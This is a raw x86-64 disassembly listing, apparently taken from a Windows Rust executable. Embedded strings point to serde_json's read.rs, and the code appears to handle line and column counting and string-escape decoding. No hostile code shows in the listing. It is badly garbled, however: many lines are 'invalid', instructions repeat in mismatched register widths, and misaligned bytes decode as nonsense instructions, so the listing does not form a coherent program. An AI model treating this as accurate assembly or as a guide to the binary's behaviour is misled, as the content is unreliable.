add ebx, 3
jmp 0x1400d0c22
cmp r8, 9
cmp r8, 9
clc
or dword [rsi + 0x33], esi
jbe 0x1400d0c14
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_l
movzx r8d, word [r9 + r8*2]
movzx eax, word [rcx + rax*2]
xor byte [rdi], al
add byte [rdi + 0xf], al
movzx eax, word [rcx + rax*2]
mov word [rcx], r8w
invalid
movzx eax, word [rcx + rax*2]
mov word [rcx], r8w
shr rbx, 0x3f
shr ebx, 0x3f
jmp 0x1400d0c34
or rbx, 2
or ebx, 2
jmp 0x1400d0c22
invalid
or cl, 0x30
mov byte [rax], cl
shr rbx, 0x3f
shr ebx, 0x3f
xor byte [rax - 0x143eb7f8], cl
invalid
shr ebx, 0x3f
jmp 0x1400d0c43
inc rbx
inc ebx
add rbx, r15
sti
lea rax, [rsp + 0x28]
and al, 0x28
sub cl, ch
movabs dword [0x4430c88041fffffd], eax
invalid
inc dword [rcx - 0x80]
or al, 0x30
invalid
jmp case.0x1400c36e0.161
std
invalid
or r8b, 0x30
or al, 0x30
enter 0x4430, 0xffffffffffffff88
add dword [rax - 0x3f], ecx
mov byte [rcx], r8b
mov byte [rcx], al
shr rbx, 0x3f
inc rbx
ret
jmp 0x1400d0c5e
invalid
ret
add rbx, rax
lea rax, [rsp + 0x28]
sub cl, ch
mov ch, bh
jmp case.0x1400c36e0.161
invalid
dec dword [rdi]
or ecx, esp
int3
int3
int3
int3
int3
int3
int3
int3
int3
push rdi
push rbx
sub rsp, 0xc0
in al, dx
rol byte [rax], 0
add byte [rax - 0x77], cl
invalid
mov rsi, rdx
mov rdi, qword [rcx]
mov edi, dword [rcx]
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x50], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
and al, 0x58
pop rax
mov qword [rsp + 0x58], 1
mov dword [rsp + 0x58], 1
pop rax
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x39], cl
and al, 0x60
invalid
mov qword [rsp + 0x60], 0
and al, 0x60
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
mov qword [rsp + 0xb0], 0x20
and al, 0xb0
add byte [rax], al
add byte [rax], al
and byte [rax], al
add byte [rax], ah
add byte [rax], al
invalid
add byte [rax], al
add dh, al
test byte [rax + rdi*4], ah
and al, 0xb8
mov byte [rsp + 0xb8], 3
and al, 0xb8
add byte [rax], al
add byte [rbx], al
add ecx, dword [rax - 0x39]
test byte [rax + rax*4], ah
and al, 0x80
mov qword [rsp + 0x80], 0
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x90], 0
test byte [rax + rdx*4], ah
and al, 0x90
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rsp + 0x50]
and al, 0x50
and al, 0x50
mov qword [rsp + 0xa0], rax
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
add byte [rax], al
lea rax, [0x140143f40]
add eax, 0x73295
invalid
add byte [rax - 0x77], cl
mov qword [rsp + 0xa8], rax
lea rbx, [rsp + 0x80]
pushfq
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
stc
test byte [rax + rbp*4], ah
and al, 0xa8
add byte [rax], al
add byte [rax - 0x73], cl
pushfq
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rdx, rbx
call 0x1400d0e70
stosb byte [rdi], al
add dword [rax], eax
add byte [rax + rax*8 + 0xc8850f], al
test al, al
jne case.0x1400c3586.186
test eax, ecx
add byte [rax], al
invalid
test al, al
jne case.0x1400c3586.186
test eax, ecx
add byte [rax], al
invalid
test eax, ecx
add byte [rax], al
add byte [rdi], cl
movups xmm0, xmmword [rsp + 0x50]
enter 0, 0
movups xmm0, xmmword [rsp + 0x50]
and al, 0x50
push rax
movaps xmmword [rsp + 0x30], xmm0
and al, 0x30
mov rax, qword [rsp + 0x60]
and al, 0x60
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
lea rax, [rdi + 0x18]
sbb byte [rax - 0x7d], cl
invalid
add rdi, 0x20
lea rcx, [rsp + 0x30]
and al, 0x30
xor byte [rax - 0x77], cl
mov word [rax + rax*4], fs
and al, 0x80
mov qword [rsp + 0x80], rcx
lea rcx, [0x1400d1130]
and al, 0x80
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x432
xor al, byte [rax + rax]
add byte [rax - 0x77], cl
invalid
invalid
mov word [rax + rcx*4], fs
and al, 0x88
mov qword [rsp + 0x88], rcx
and al, 0x88
mov byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
test byte [rax + rdx*4], ah
and al, 0x90
mov qword [rsp + 0x90], rax
and al, 0x90
nop
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [fcn.140012c90]
lea rax, [fcn.140012c90]
invalid
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x98], eax
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov esp, 0xa024
add byte [rax], al
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa0], edi
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbp*4], ah
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0xa8], eax
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [0x140144ca0]
lea rax, str.Error___line:___column:
lea eax, [0x140144ca0]
invalid
mov qword [rsp + 0x50], rax
and al, 0x50
mov qword [rsp + 0x58], 4
mov dword [rsp + 0x58], 4
add al, 0
add byte [rax], al
invalid
add byte [rax - 0x39], cl
and al, 0x70
jo 0x1400d0d48
add byte [rax], al
invalid
mov qword [rsp + 0x70], 0
jo 0x1400d0d48
add byte [rax], al
add byte [rax - 0x77], cl
pop rsp
mov qword [rsp + 0x60], rbx
and al, 0x60
mov qword [rsp + 0x68], 3
and al, 0x68
add eax, dword [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
lea r8, [rsp + 0x50]
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
mov edx, dword [rsi + 0x28]
lea r8, [rsp + 0x50]
lea eax, [rsp + 0x50]
call fcn.140013960
cmp qword [rsp + 0x30], 0
and al, 0x30
invalid
je 0x1400d0d8b
invalid
dec dword [rax - 0x7d]
jl 0x1400d0d93
invalid
and al, 0x30
add byte [rax + rbx + 0x4c], dh
sbb byte [rbx + rcx*4 + 0x44], cl
and al, 0x38
sbb byte [rbx + rcx*4 + 0x44], cl
mov r8, qword [rsp + 0x38]
and al, 0x38
mov rcx, qword [0x14017d208]
or eax, 0xac489
add byte [rcx], dh
ror byte [rcx + 0x7715ffc3], cl
ret
invalid
invalid
invalid
xor edx, edx
mov ebx, eax
ret
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, ebx
invalid
ret
out 3, al
add byte [rcx - 0x3b7eb728], cl
fmul dword [rax - 0x7f]
invalid
fmul dword [rax - 0x7f]
invalid
add rsp, 0xc0
rol byte [rax], 0
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rbx
pop rdi
pop rsi
ret
lea rax, [0x14016eaa0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
fisttp qword [rcx]
add byte [rax - 0x77], cl
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_alloc_src_string.rs
lea r9, [0x140143fd0]
invalid
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x30
fmul qword [rcx]
add byte [rbp + rcx*4 + 0xd], cl
and byte [rdx], dh
invalid
and al, 0x30
mov edx, 0x37
invalid
call fcn.1401049b0
int3
in al, dx
mov byte [rax], al
add byte [rax], al
mov rcx, qword [rcx]
cmp qword [rcx + 0x18], 0
je 0x1400d0e55
add byte [rdi], cl
test byte [rax + 0x48000000], al
lea rax, [rcx + 0x18]
lea eax, [rcx + 0x18]
mov qword [rsp + 0x28], rcx
add rcx, 0x20
lea r8, [0x1400d0e70]
add byte [rax], al
add byte [rcx + rcx*4 + 0x44], cl
mov dword [rsp + 0x30], eax
add byte [rax], al
add byte [rcx + rcx*4 + 0x44], cl
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x38], rax
lea rax, [fcn.140012c90]
cmp byte [rax - 0x73], cl
add eax, 0xfff41e96
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
and al, 0x50
and al, 0x50
lea rax, [0x140144c58]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 3
mov dword [rsp + 0x60], 3
mov qword [rsp + 0x78], 0
js 0x1400d0e24
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x28
and al, 0x28
invalid
js 0x1400d0e24
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x28
and al, 0x28
and al, 0x28
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 3
mov dword [rsp + 0x70], 3
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x58]
pop rax
pop rax
call fcn.140013960
nop
add rsp, 0x88
add esp, 0x88
ret
add rsp, 0x88
jmp 0x1400d0e70
int3
mov rax, qword [rcx]
lea r8, [0x140174ef8]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov rax, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140144a12]
mov r8d, 0x18
jmp rax
add rcx, 8
jmp fcn.1400da7b0
cmp eax, edx
jae 0x1400d1623
movzx edx, byte [r10 + r8]
movzx edx, byte [rdx + rbx]
movzx edx, dx
mov qword [rax + 0x10], r11
cmp edx, 0xff
je 0x1400d1425
shl esi, 8
shl edi, 4
add edi, esi
add edi, r9d
shl edi, 4
add edi, edx
mov word [rcx + 2], di
mov word [rcx], 0
jmp 0x1400d1618
test rdx, rdx
jne 0x1400d151e
mov rsi, rcx
mov eax, 1
xor r8d, r8d
jmp 0x1400d1602
mov qword [rsp + 0x28], 0xc
lea rdx, [r11 - 1]
mov eax, r11d
inc dword [rcx + rcx*4 - 0x28]
and eax, 3
cmp rdx, 3
jae 0x1400d144b
mov edx, 1
xor r8d, r8d
jmp 0x1400d14e3
and r11, 0xfffffffffffffffc
mov r9d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov esi, 3
mov edi, 2
mov edx, 1
nop
add r8, 4
movd xmm1, dword [r10]
add r10, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebx, xmm1
test bl, 1
cmovne r8, rsi
test bl, 2
cmovne r8, rdi
test bl, 4
cmovne r8, r9
test bl, 8
mov r14d, 0
cmovne r8, r14
mov ebp, ebx
shr bpl, 1
and bpl, 5
sub bl, bpl
mov ebp, ebx
and bpl, 0x33
shr bl, 2
and bl, 0x33
add bl, bpl
mov ebp, ebx
shr bpl, 4
add bpl, bl
and bpl, 0xf
movzx ebx, bpl
add rdx, rbx
add r11, 0xfffffffffffffffc
jne 0x1400d1470
mov rsi, rcx
test rax, rax
je 0x1400d1514
xor ecx, ecx
nop dword [rax]
inc r8
xor r9d, r9d
cmp byte [r10 + rcx], 0xa
mov r11d, 0
cmove r8, r11
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400d14f0
lea rcx, [rsp + 0x28]
jmp 0x1400d160a
mov r9, qword [rax]
mov r10d, edx
and r10d, 3
cmp rdx, 4
jae 0x1400d153b
mov eax, 1
xor r8d, r8d
jmp 0x1400d15d3
and rdx, 0xfffffffffffffffc
mov r11d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov esi, 3
add eax, dword [rax]
add byte [rax], al
mov edi, 2
mov eax, 1
nop
add r8, 4
movd xmm1, dword [r9]
add r9, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebx, xmm1
test bl, 1
cmovne r8, rsi
test bl, 2
cmovne r8, rdi
test bl, 4
cmovne r8, r11
test bl, 8
mov r14d, 0
cmovne r8, r14
mov ebp, ebx
shr bpl, 1
and bpl, 5
sub bl, bpl
mov ebp, ebx
and bpl, 0x33
shr bl, 2
and bl, 0x33
add bl, bpl
mov ebp, ebx
shr bpl, 4
add bpl, bl
and bpl, 0xf
movzx ebx, bpl
add rax, rbx
add rdx, 0xfffffffffffffffc
jne 0x1400d1560
mov rsi, rcx
test r10, r10
je 0x1400d1602
xor ecx, ecx
nop dword [rax]
inc r8
inc eax
xor edx, edx
cmp byte [r9 + rcx], 0xa
mov r11d, 0
cmove r8, r11
sete dl
add rax, rdx
inc rcx
cmp r10, rcx
jne 0x1400d15e0
lea rcx, [rsp + 0x28]
and al, 0x28
mov rdx, rax
call fcn.14010bc50
mov qword [rsi + 8], rax
mov word [rsi], 1
invalid
add dword [rax], eax
invalid
add rsp, 0x40
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
mov r9, r8
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, r9
call fcn.140104670
cmp esi, dword [rax]
add eax, dword [rax]
int3
int3
jae 0x1400d166f
mov rdx, qword [rdx]
movzx eax, byte [rdx + rax]
add cl, byte [rax + 0x1c60141]
invalid
add cl, byte [rax + 0x1c60141]
add byte [rax - 0x7d], cl
invalid
invalid
add rsp, 0x40
add esp, 0x40
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
mov qword [rsp + 0x28], 4
ja 0x1400d1798
invalid
add byte [rax - 0x7b], cl
sal byte [rbp + 0x10], 0x48
mov esi, ecx
invalid
test rax, rax
jne 0x1400d1693
mov rsi, rcx
invalid
mov edx, 1
xor r8d, r8d
shr cl, 0xef
add byte [rax], al
invalid
shr cl, 0xef
add byte [rax], al
add byte [rbx + rcx*4 + 0xa], cl
mov r9, qword [rdx]
mov r10d, eax
and r10d, 3
cmp rax, 4
jae 0x1400d16b0
mov edx, 1
xor r8d, r8d
jmp 0x1400d1753
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + 0x31], al
shr cl, 0xa3
add byte [rax], al
add byte [rax - 0x7d], cl
loopne 0x1400d16b0
and rax, 0xfffffffffffffffc
mov r11d, 1
mov ebx, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
add eax, dword [rax]
mov esi, 3
mov edi, 2
add byte [rax], al
add byte [rax], al
mov edx, 1
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rcx - 0x7d], cl
rol byte [rsi + riz*2], 0x41
movd mm1, dword [r9]
add r8, 4
movd xmm1, dword [r9]
movd mm1, dword [r9]
movd mm1, dword [r9]
add r9, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebx, xmm1
test bl, 1
ret
add dword [rdi + rcx + 0x45], ecx
invalid
test bl, 2
add cl, byte [rdi + rcx + 0x45]
invalid
test bl, 4
ret
add cl, byte [rdi + rcx + 0x45]
invalid
cmovne r8, r11
test bl, 8
mov r14d, 0
cmovne r8, r14
invalid
mov ebp, ebx
shr bpl, 1
shr ch, 1
invalid
shr ch, 1
and bpl, 5
in eax, 5
sub bl, bpl
mov ebp, ebx
and bpl, 0x33
and ch, 0x33
and ch, 0x33
shr bl, 2
and bl, 0x33
xor eax, dword [rax]
jmp 0x1400d16c3
fld qword [rax - 0x40]
in eax, dx
add al, 0x40
add ch, bl
and bpl, 0xf
cmovo ecx, dword [rdi]
mov dh, 0xdd
invalid
xor eax, dword [rax]
jmp 0x1400d16c3
cmovo ecx, dword [rdi]
mov dh, 0xdd
invalid
fisttp qword [rax + 1]
fimul dword [rax - 0x7d]
sar ah, 0x75
lea ecx, [rax - 0x77]
add rdx, rbx
add rax, 0xfffffffffffffffc
jne 0x1400d16e0
mov rsi, rcx
test r10, r10
je 0x1400d1782
invalid
xor eax, eax
nop dword [rax]
inc r8
xor ecx, ecx
cmp byte [r9 + rax], 0xa
mov r11d, 0
add byte [rax], al
add byte [rbp + 0xf], cl
cmove eax, ebx
cmove eax, ebx
sete cl
add rdx, rcx
add edx, ecx
add edx, ecx
inc rax
cmp r10, rax
jne 0x1400d1760
lea rcx, [rsp + 0x28]
and al, 0x28
call fcn.14010bc50
mov qword [rsi + 8], rax
mov byte [rsi], 1
jmp 0x1400d1664
invalid
invalid
invalid
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
lea eax, [0x140144e40]
invalid
mov rcx, rax
mov rdx, r9
call fcn.1401046e0
add eax, dword [rax]
int3
int3
mov rcx, qword [rcx + 0x10]
cmp rcx, r9
ja 0x1400d18e8
add byte [rax - 0x7b], cl
leave
test rcx, rcx
jne 0x1400d17e0
mov eax, 1
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
jmp 0x1400d18d3
mov r9, qword [rax]
xor r8d, r8d
jmp 0x1400d18d3
mov r9, qword [rax]
mov r10d, ecx
and r10d, 3
add ecx, dword [rax - 0x7d]
stc
add al, 0x73
invalid
add ecx, dword [rax - 0x7d]
stc
add al, 0x73
or eax, 0x1b8
add byte [rbp + 0x31], al
xor r8d, r8d
jmp 0x1400d18a3
and rcx, 0xfffffffffffffffc
mov eax, 1
xor r8d, r8d
jmp 0x1400d18a3
and rcx, 0xfffffffffffffffc
mov r11d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
add byte [rsi + 3], bh
add byte [rsi + 3], bh
add eax, dword [rax]
add byte [rax], al
mov edi, 2
mov eax, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
nop word cs:[rax + rax]
add r8, 4
add eax, 4
movd xmm1, dword [r9]
add r9, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebx, xmm1
test bl, 1
cmovne r8, rsi
test bl, 2
add cl, byte [rdi + rcx + 0x45]
invalid
test bl, 4
cmovne r8, r11
test bl, 8
mov r14d, 0
mov esi, 0
add cl, byte [rdi + rcx + 0x45]
invalid
invalid
mov esi, 0
add byte [rbp + 0xf], cl
invalid
cmovne r8, r14
mov ebp, ebx
shr bpl, 1
shr ch, 1
invalid
shr ch, 1
and bpl, 5
sub bl, bpl
mov ebp, ebx
and bpl, 0x33
and ch, 0x33
and ch, 0x33
shr bl, 2
and bl, 0x33
xor eax, dword [rax]
jmp 0x1400d1813
fld qword [rax - 0x40]
in eax, dx
add al, 0x40
add ch, bl
invalid
jmp case.0x1400aaf64.261
xor eax, dword [rax]
jmp 0x1400d1813
in eax, dx
add al, 0x40
add ch, bl
invalid
fld qword [rax - 0x80]
and bpl, 0xf
in eax, 0xf
cmovo ecx, dword [rdi]
mov dh, 0xdd
invalid
movzx ebx, bpl
fisttp qword [rax + 1]
fmul dword [rax - 0x7d]
sar esp, 0x75
lea ecx, [rbp - 0x7b]
add rax, rbx
add rcx, 0xfffffffffffffffc
jne 0x1400d1830
test r10, r10
je 0x1400d18d3
sal byte [rbx + rbp + 0x31], cl
xor ecx, ecx
leave
nop word [rax + rax]
add byte [rax], r8b
inc r8
xor r11d, r11d
fild dword [rcx - 0x80]
cmp al, 9
or dword [rdx], ecx
fild dword [rcx - 0x80]
cmp al, 9
or dword [rdx], ecx
mov esi, 0
or dword [rdx], ecx
mov esi, 0
cmove r8, rsi
cmove eax, esi
sete r11b
add rax, r11
add eax, ebx
inc rcx
cmp r10, rcx
ror dword [rcx + 0x39], 0xca
jne 0x1400d18b0
mov rcx, rdx
mov rdx, rax
add rsp, 0x20
ror dword [rax - 0x77], 1
ret 0x8348
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
jmp fcn.14010bc50
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
lea eax, [0x140144e40]
mov rdx, r9
call fcn.1401046e0
add eax, dword [rax]
retf 0xe9e8
add eax, dword [rax]
int3
int3
int3
in al, dx
and byte [rax - 0x77], cl
enter 0xffffffffffff8b48, 0x51
or byte [rax - 0x75], cl
adc byte [r8 + 0x39], cl
adc byte [rax + 0x39], cl
adc byte [rax + 0x39], cl
ror dword [rdi], 1
xchg dword [rcx], eax
add dword [rax], eax
add byte [rax - 0x7b], cl
add byte [rax], al
test rcx, rcx
leave
je 0x1400d193c
mov r8, qword [rax]
mov eax, dword [rax]
mov r9d, ecx
leave
and r9d, 3
cmp rcx, 4
add al, 0x73
invalid
add al, 0x73
sbb byte [rax + 1], bh
add dword [rax], eax
add byte [rax], al
mov eax, 1
add dword [rax], eax
add byte [rax], al
xor edx, edx
jmp 0x1400d19e2
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
invalid
shr cl, cl
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add byte [rax + 1], bh
add dword [rax], eax
add byte [rax], al
mov eax, 1
add dword [rax], eax
add byte [rax], al
xor edx, edx
jmp 0x1400d1a14
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
and ecx, 0xfffffffc
and rcx, 0xfffffffffffffffc
and ecx, 0xfffffffc
mov r10d, 1
mov edx, 1
add byte [rcx], dh
shl byte [rsi + 0xf], cl
movq mm0, qword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
xor edx, edx
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
movq mm0, qword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
movq mm0, qword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r11d, 3
mov ebx, 3
add byte [rsi + 2], bh
mov esi, 2
add byte [rax], al
mov eax, 1
nop dword [rax]
add byte [rax], al
add byte [rdi], cl
invalid
add rdx, 4
add edx, 4
movd xmm1, dword [r8]
movd mm1, dword [r8]
add r8, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps edi, xmm1
test dil, 1
test bh, 1
test bh, 1
cmovne rdx, r11
cmovne edx, ebx
test dil, 2
cmovne rdx, rsi
cmovne edx, esi
cmovne edx, esi
test dil, 4
cmovne rdx, r10
cmovne edx, edx
cmovne edx, edx
test dil, 8
test bh, 8
mov ebx, 0
cmovne rdx, rbx
mov ebx, edi
shr bl, 1
invalid
jmp 0x1400d1936
and bl, 5
sub dil, bl
sub bh, bl
mov ebx, edi
and bl, 0x33
shr dil, 2
shr bh, 2
shr bh, 2
and dil, 0x33
add dil, bl
add bh, bl
mov ebx, edi
shr bl, 4
add bl, dil
and bl, 0xf
invalid
movzx edi, bl
invalid
add rax, rdi
add rcx, 0xfffffffffffffffc
add ecx, 0xfffffffc
add ecx, 0xfffffffc
jne 0x1400d1970
mov cs, word [rbp - 0x7b]
test r9, r9
leave
je 0x1400d1a14
xor ecx, ecx
nop dword [rax]
add byte [rax], al
add byte [rax - 1], cl
inc edx
invalid
invalid
inc rdx
inc edx
xor r10d, r10d
cmp byte [r8 + rcx], 0xa
cmp al, 8
or al, byte [rcx - 0x45]
add byte [rax], al
add byte [rax], al
rol byte [rcx - 0x80], cl
cmp al, 8
or al, byte [rcx - 0x45]
add byte [rax], al
add byte [rax], al
cmove rdx, r11
sete r10b
add rax, r10
inc rcx
cmp r9, rcx
leave
leave
jne 0x1400d19f0
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea eax, [0x140144e40]
call fcn.1401046e0
int3
int3
push rdi
push rbx
mov rax, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
inc r9
invalid
inc ecx
cmp rax, r9
cmovb r9, rax
test r9, r9
je 0x1400d1a66
mov rcx, qword [rcx]
mov r8d, r9d
and r8d, 3
cmp r9, 4
cmp ecx, 4
cmp ecx, 4
jae 0x1400d1a72
mov eax, 1
xor edx, edx
jmp 0x1400d1b11
add byte [rax], al
mov eax, 1
xor edx, edx
jmp 0x1400d1b44
and r9, 0xfffffffffffffffc
cld
mov r10d, 1
xor edx, edx
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
outsd dx, dword [rsi]
add eax, 0x3dbfa
outsd dx, dword [rsi]
add eax, 0x3dbfa
mov r11d, 3
mov esi, 2
add byte [rax], al
add byte [rsi + 2], bh
mov eax, 1
add byte [rax], al
add byte [rsi + 0x2e], ah
nop dword [rax + rax]
nop word cs:[rax + rax]
add rdx, 4
movd xmm1, dword [rcx]
movd mm1, dword [rcx]
movd mm1, dword [rcx]
add rcx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps edi, xmm1
push rax
stc
push rax
stc
test dil, 1
cmovne rdx, r11
test dil, 2
test bh, 2
test bh, 2
cmovne rdx, rsi
test dil, 4
cmovne rdx, r10
test dil, 8
mov ebx, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmovne rdx, rbx
mov ebx, edi
shr bl, 1
and bl, 5
sub dil, bl
sub bh, bl
fisttp word [rcx + 0x33e380fb]
fisttp word [rcx + 0x33e380fb]
shr dil, 2
and dil, 0x33
add dil, bl
mov ebx, edi
shr bl, 4
jmp 0x1400d1b03
add bl, dil
and bl, 0xf
jmp 0x1400d1b03
jrcxz 0x1400d1b14
movzx edi, bl
add rax, rdi
add r9, 0xfffffffffffffffc
sar esp, 0x75
invalid
test r8, r8
je 0x1400d1b44
xor r9d, r9d
leave
nop dword [rax]
inc rdx
xor r10d, r10d
cmp byte [rcx + r9], 0xa
mov r11d, 0
cmove rdx, r11
sete r10b
add rax, r10
inc r9
inc ecx
inc ecx
cmp r8, r9
jne 0x1400d1b20
pop rbx
pop rdi
pop rsi
ret
mov rbx, qword [rdi]
lea esi, [rdx + 1]
lea r13d, [rdx + 2]
mov r15d, 2
mov r12, rdx
nop word cs:[rax + rax]
movzx eax, byte [rbx + r12]
cmp byte [rax + rcx], 0
jne 0x1400d1c00
inc r12
mov qword [rdi + 0x10], r12
inc sil
inc r13b
inc r15
cmp r12, rbp
jb 0x1400d1bd0
jmp 0x1400d2056
cmp eax, 0x5c
jne 0x1400d209d
mov r14, r12
sub r14, rdx
jb 0x1400d2a94
mov rax, qword [r8]
mov r9, qword [r8 + 0x10]
sub rax, r9
cmp rax, r14
jb 0x1400d1e7f
mov qword [rsp + 0x70], rdx
add rdx, rbx
mov rax, qword [r8 + 8]
mov qword [rsp + 0x50], rax
lea rcx, [rax + r9]
mov r8, r14
mov rdi, r9
call sub.VCRUNTIME140.dll_memcpy
mov rdx, rdi
mov r8, qword [rsp + 0x30]
add rdx, r14
mov qword [r8 + 0x10], rdx
lea rcx, [r12 + 1]
mov rdi, qword [rsp + 0x78]
mov qword [rdi + 0x10], rcx
cmp rcx, rbp
jae 0x1400d22cc
movzx eax, byte [rbx + r12 + 1]
lea r14, [r12 + 2]
mov qword [rdi + 0x10], r14
add eax, 0xffffffde
cmp eax, 0x53
ja case.0x1400d1c97.35
lea rcx, [0x140174f5c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d1cb8
mov rcx, r8
call fcn.1401022d0
mov r8, qword [rsp + 0x30]
mov rax, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
mov byte [rax + rdx], 0x22
jmp 0x1400d1e60
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d1ce0
mov rcx, r8
call fcn.1401022d0
mov r8, qword [rsp + 0x30]
mov rax, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
mov byte [rax + rdx], 0xc
jmp 0x1400d1e60
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d1d08
mov rcx, r8
call fcn.1401022d0
mov r8, qword [rsp + 0x30]
mov rax, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
mov byte [rax + rdx], 0x5c
jmp 0x1400d1e60
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d1d30
mov rcx, r8
call fcn.1401022d0
mov r8, qword [rsp + 0x30]
mov rax, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
mov byte [rax + rdx], 0xa
jmp 0x1400d1e60
cmp rdx, qword [r8]
mov rax, qword [rsp + 0x50]
jne 0x1400d1d58
mov rcx, r8
call fcn.1401022d0
mov r8, qword [rsp + 0x30]
mov rax, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
mov byte [rax + rdx], 0x2f
jmp 0x1400d1e60
cmp rdx, qword [r8]
